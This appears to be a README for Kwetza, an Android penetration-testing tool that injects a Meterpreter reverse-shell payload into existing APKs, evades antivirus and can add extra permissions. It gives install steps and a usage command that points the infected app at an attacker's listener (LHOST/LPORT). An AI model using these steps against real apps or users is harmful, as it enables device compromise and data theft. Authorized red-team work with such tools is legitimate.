Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload.

What does it do?

Kwetza infects an existing Android application with either custom or default payload templates to avoid detection by antivirus. Kwetza allows you to infect Android applications using the target application’s default permissions or inject additional permissions to gain additional functionality.

Information

Kwetza has been developed to work with Python 2.
Kwetza by default will use the template and keystore located in the folder “payload” to inject and sign the infected apk.
If you would like to sign the infected application with your own certificate, generate a new keystore and place it in the “payload” folder and rename to the existing keystore or change the reference in the kwetza.py.
The same can be done for payload templates.
The password for the default keystore is, well, “password“.

Getting the code

Firstly get the code:

git clone https://github.com/sensepost/kwetza.git

Kwetza is written in Python and requires BeautifulSoup which can be installed using Pip:

pip install beautifulsoup4

Kwetza requires Apktool to be installed and accessible via your PATH. This can be setup using the install instructions located here: https://ibotpeaches.github.io/Apktool/install

Usage
python kwetza.py nameOfTheApkToInfect.apk LHOST LPORT yes/no

• nameOfTheApkToInfect.apk =name of the APK you wish to infect.
• LHOST =IP of your listener.
• LPORT =Port of your listener.
• yes =include “yes” to inject additional evil perms into the app, “no” to utilize the default permissions of the app.
